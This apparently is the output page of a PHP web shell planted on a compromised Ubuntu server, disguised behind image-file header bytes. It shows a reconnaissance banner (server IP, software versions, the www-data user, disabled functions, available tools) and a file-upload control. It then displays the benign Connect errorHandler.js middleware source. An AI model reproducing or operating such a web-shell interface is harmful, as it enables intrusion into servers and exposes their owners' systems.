????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.147.69.134 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/lib/nodejs/connect/middleware/ |
Upload File : |
/*! * Connect - errorHandler * Copyright(c) 2010 Sencha Inc. * Copyright(c) 2011 TJ Holowaychuk * MIT Licensed */ /** * Module dependencies. */ var utils = require('../utils') , url = require('url') , fs = require('fs'); /** * Flexible error handler, providing (_optional_) stack traces * and error message responses for requests accepting text, html, * or json. * * Options: * * - `showStack`, `stack` respond with both the error message and stack trace. Defaults to `false` * - `showMessage`, `message`, respond with the exception message only. Defaults to `false` * - `dumpExceptions`, `dump`, dump exceptions to stderr (without terminating the process). Defaults to `false` * * Text: * * By default, and when _text/plain_ is accepted a simple stack trace * or error message will be returned. * * JSON: * * When _application/json_ is accepted, connect will respond with * an object in the form of `{ "error": error }`. * * HTML: * * When accepted connect will output a nice html stack trace. * * @param {Object} options * @return {Function} * @api public */ exports = module.exports = function errorHandler(options){ options = options || {}; // defaults var showStack = options.showStack || options.stack , showMessage = options.showMessage || options.message , dumpExceptions = options.dumpExceptions || options.dump , formatUrl = options.formatUrl; return function errorHandler(err, req, res, next){ res.statusCode = 500; if (dumpExceptions) console.error(err.stack); if (showStack) { var accept = req.headers.accept || ''; // html if (~accept.indexOf('html')) { fs.readFile('/usr/share/node-connect/public/style.css', 'utf8', function(e, style){ fs.readFile('/usr/share/node-connect/public/error.html', 'utf8', function(e, html){ var stack = (err.stack || '') .split('\n').slice(1) .map(function(v){ return '<li>' + v + '</li>'; }).join(''); html = html .replace('{style}', style) .replace('{stack}', stack) .replace('{title}', exports.title) .replace(/\{error\}/g, utils.escape(err.toString())); res.setHeader('Content-Type', 'text/html'); res.end(html); }); }); // json } else if (~accept.indexOf('json')) { var json = JSON.stringify({ error: err }); res.setHeader('Content-Type', 'application/json'); res.end(json); // plain text } else { res.writeHead(500, { 'Content-Type': 'text/plain' }); res.end(err.stack); } } else { var body = showMessage ? err.toString() : 'Internal Server Error'; res.setHeader('Content-Type', 'text/plain'); res.end(body); } }; }; /** * Template title. */ exports.title = 'Connect';